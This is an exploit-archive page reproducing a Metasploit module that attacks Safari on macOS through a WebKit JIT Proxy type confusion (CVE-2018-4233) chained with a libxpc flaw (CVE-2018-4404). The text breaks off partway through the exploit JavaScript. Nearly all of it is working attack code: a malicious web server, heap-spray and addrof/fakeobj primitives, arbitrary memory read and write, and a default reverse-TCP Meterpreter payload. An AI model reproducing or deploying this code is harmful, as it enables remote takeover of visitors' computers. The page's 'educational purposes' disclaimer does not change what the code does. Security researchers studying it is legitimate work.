Safari proxy object type confusion (metasploit) Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2018-12-14 |
Type : remote |
Platform : macos
This exploit / vulnerability Safari proxy object type confusion (metasploit) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Safari Proxy Object Type Confusion',
'Description' => %q{
This module exploits a type confusion bug in the Javascript Proxy object in
WebKit. The DFG JIT does not take into account that, through the use of a Proxy,
it is possible to run arbitrary JS code during the execution of a CreateThis
operation. This makes it possible to change the structure of e.g. an argument
without causing a bailout, leading to a type confusion (CVE-2018-4233).
The JIT region is then replaced with shellcode which loads the second stage.
The second stage exploits a logic error in libxpc, which uses command execution
via the launchd's "spawn_via_launchd" API (CVE-2018-4404).
},
'License' => MSF_LICENSE,
'Author' => [ 'saelo' ],
'References' => [
['CVE', '2018-4233'],
['CVE', '2018-4404'],
['URL', 'https://github.com/saelo/cve-2018-4233'],
['URL', 'https://github.com/saelo/pwn2own2018'],
['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'],
],
'Arch' => [ ARCH_PYTHON, ARCH_CMD ],
'Platform' => 'osx',
'DefaultTarget' => 0,
'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' },
'Targets' => [
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
],
'DisclosureDate' => 'Mar 15 2018'))
register_advanced_options([
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information in the exploit javascript", false]),
])
end
def stage1_js
stage1 = exploit_data "CVE-2018-4233", "stage1.bin"
"var stage1 = new Uint8Array([#{Rex::Text::to_num(stage1)}]);"
end
def stage2_js
stage2 = exploit_data "CVE-2018-4404", "stage2.dylib"
payload_cmd = payload.raw
if target['Arch'] == ARCH_PYTHON
payload_cmd = "echo \"#{payload_cmd}\" | python"
end
placeholder_index = stage2.index('PAYLOAD_CMD_PLACEHOLDER')
stage2[placeholder_index, payload_cmd.length] = payload_cmd
"var stage2 = new Uint8Array([#{Rex::Text::to_num(stage2)}]);"
end
def get_offsets(user_agent)
if user_agent =~ /Intel Mac OS X (.*?)\)/
version = $1.gsub("_", ".")
mac_osx_version = Gem::Version.new(version)
if mac_osx_version >= Gem::Version.new('10.13.4')
print_warning "macOS version #{mac_osx_version} is not vulnerable"
elsif mac_osx_version < Gem::Version.new('10.12')
print_warning "macOS version #{mac_osx_version} is not vulnerable"
elsif offset_table.key?(version)
offset = offset_table[version]
return <<-EOF
const JSC_VTAB_OFFSET = #{offset[:jsc_vtab]};
const DYLD_STUB_LOADER_OFFSET = #{offset[:dyld_stub_loader]};
const DLOPEN_OFFSET = #{offset[:dlopen]};
const CONFSTR_OFFSET = #{offset[:confstr]};
const STRLEN_OFFSET = #{offset[:strlen]};
const STRLEN_GOT_OFFSET = #{offset[:strlen_got]};
EOF
else
print_warning "No offsets for version #{mac_osx_version}"
end
else
print_warning "Unexpected User-Agent"
end
return false
end
def on_request_uri(cli, request)
user_agent = request['User-Agent']
print_status("Request from #{user_agent}")
offsets = get_offsets(user_agent)
unless offsets
send_not_found(cli)
return
end
utils = exploit_data "CVE-2018-4233", "utils.js"
int64 = exploit_data "CVE-2018-4233", "int64.js"
html = %Q^
<html>
<body>
<script>
#{stage1_js}
stage1.replace = function(oldVal, newVal) {
for (var idx = 0; idx < this.length; idx++) {
var found = true;
for (var j = idx; j < idx + 8; j++) {
if (this[j] != oldVal.byteAt(j - idx)) {
found = false;
break;
}
}
if (found)
break;
}
this.set(newVal.bytes(), idx);
};
#{stage2_js}
#{utils}
#{int64}
#{offsets}
var ready = new Promise(function(resolve) {
if (typeof(window) === 'undefined')
resolve();
else
window.onload = function() {
resolve();
}
});
// Must create this indexing type transition first,
// otherwise the JIT will deoptimize later.
var a = [13.37, 13.37];
a[0] = {};
var referenceFloat64Array = new Float64Array(0x1000);
//
// Bug: the DFG JIT does not take into account that, through the use of a
// Proxy, it is possible to run arbitrary JS code during the execution of a
// CreateThis operation. This makes it possible to change the structure of e.g.
// an argument without causing a bailout, leading to a type confusion.
//
//
// addrof primitive
//
function setupAddrof() {
function InfoLeaker(a) {
this.address = a[0];
}
var trigger = false;
var leakme = null;
var arg = null;
var handler = {
get(target, propname) {
if (trigger)
arg[0] = leakme;
return target[propname];
},
};
var InfoLeakerProxy = new Proxy(InfoLeaker, handler);
for (var i = 0; i < 100000; i++) {
new InfoLeakerProxy([1.1, 2.2, 3.3]);
}
trigger = true;
return function(obj) {
leakme = obj;
arg = [1.1, 1.1];
var o = new InfoLeakerProxy(arg);
return o.address;
};
}
//
// fakeobj primitive
//
function setupFakeobj() {
function ObjFaker(a, address) {
a[0] = address;
}
var trigger = false;
var arg = null;
var handler = {
get(target, propname) {
if (trigger)
arg[0] = {};
return target[propname];
},
};
var ObjFakerProxy = new Proxy(ObjFaker, handler);
for (var i = 0; i < 100000; i++) {
new ObjFakerProxy([1.1, 2.2, 3.3], 13.37);
}
trigger = true;
return function(address) {
arg = [1.1, 1.1];
var o = new ObjFakerProxy(arg, address);
return arg[0];
};
}
function makeJITCompiledFunction() {
// Some code to avoid inlining...
function target(num) {
for (var i = 2; i < num; i++) {
if (num % i === 0) {
return false;
}
}
return true;
}
// Force JIT compilation.
for (var i = 0; i < 1000; i++) {
target(i);
}
for (var i = 0; i < 1000; i++) {
target(i);
}
for (var i = 0; i < 1000; i++) {
target(i);
}
return target;
}
function pwn() {
// Spray Float64Array structures so that structure ID 0x1000 will
// be a Float64Array with very high probability
var structs = [];
for (var i = 0; i < 0x1000; i++) {
var a = new Float64Array(1);
a['prop' + i] = 1337;
structs.push(a);
}
// Setup exploit primitives
var addrofOnce = setupAddrof();
var fakeobjOnce = setupFakeobj();
// (Optional) Spray stuff to keep the background GC busy and increase reliability even further
/*
var stuff = [];
for (var i = 0; i < 0x100000; i++) {
stuff.push({foo: i});
}
*/
var float64MemView = new Float64Array(0x200);
var uint8MemView = new Uint8Array(0x1000);
// Setup container to host the fake Float64Array
var jsCellHeader = new Int64([
00, 0x10, 00, 00, // m_structureID
0x0, // m_indexingType
0x2b, // m_type
0x08, // m_flags
0x1 // m_cellState
]);
var container = {
jsCellHeader: jsCellHeader.asJSValue(),
butterfly: null,
vector: float64MemView,
length: (new Int64('0x0001000000001337')).asJSValue(),
mode: {}, // an empty object, we'll need that later
};
// Leak address and inject fake object
// RawAddr == address in float64 form
var containerRawAddr = addrofOnce(container);
var fakeArrayAddr = Add(Int64.fromDouble(containerRawAddr), 16);
print("[+] Fake Float64Array @ " + fakeArrayAddr);
///
/// BEGIN CRITICAL SECTION
///
/// Objects are corrupted, a GC would now crash the process.
/// We'll try to repair everything as quickly as possible and with a minimal amount of memory allocations.
///
var driver = fakeobjOnce(fakeArrayAddr.asDouble());
while (!(driver instanceof Float64Array)) {
jsCellHeader.assignAdd(jsCellHeader, Int64.One);
container.jsCellHeader = jsCellHeader.asJSValue();
}
// Get some addresses that we'll need to repair our objects. We'll abuse the .mode
// property of the container to leak addresses.
driver[2] = containerRawAddr;
var emptyObjectRawAddr = float64MemView[6];
container.mode = referenceFloat64Array;
var referenceFloat64ArrayRawAddr = float64MemView[6];
// Fixup the JSCell header of the container to make it look like an empty object.
// By default, JSObjects have an inline capacity of 6, enough to hold the fake Float64Array.
driver[2] = emptyObjectRawAddr;
var header = float64MemView[0];
driver[2] = containerRawAddr;
float64MemView[0] = header;
// Copy the JSCell header from an existing Float64Array and set the butterfly to zero.
// Also set the mode: make it look like an OversizeTypedArray for easy GC survival
// (see JSGenericTypedArrayView<Adaptor>::visitChildren).
driver[2] = referenceFloat64ArrayRawAddr;
var header = float64MemView[0];
var length = float64MemView[3];
var mode = float64MemView[4];
driver[2] = containerRawAddr;
float64MemView[2] = header;
float64MemView[3] = 0;
float64MemView[5] = length;
float64MemView[6] = mode;
// Root the container object so it isn't garbage collected.
// This will allocate a butterfly for the fake object and store a reference to the container there.
// The fake array itself is rooted by the memory object (closures).
driver.container = container;
///
/// END CRITICAL SECTION
///
/// Objects are repaired, we will now survive a GC
///
if (typeof(gc) !== 'undefined')
gc();
memory = {
read: function(addr, length) {
driver[2] = memory.addrof(uint8MemView).asDouble();
float64MemView[2] = addr.asDouble();
var a = new Array(length);
for (var i = 0; i < length; i++)
a[i] = uint8MemView[i];
return a;
},
write: function(addr, data) {
driver[2] = memory.addrof(uint8MemView).asDouble();
float64MemView[2] = addr.asDouble();
for (var i = 0; i < data.length; i++)
uint8MemView[i] = data[i];
},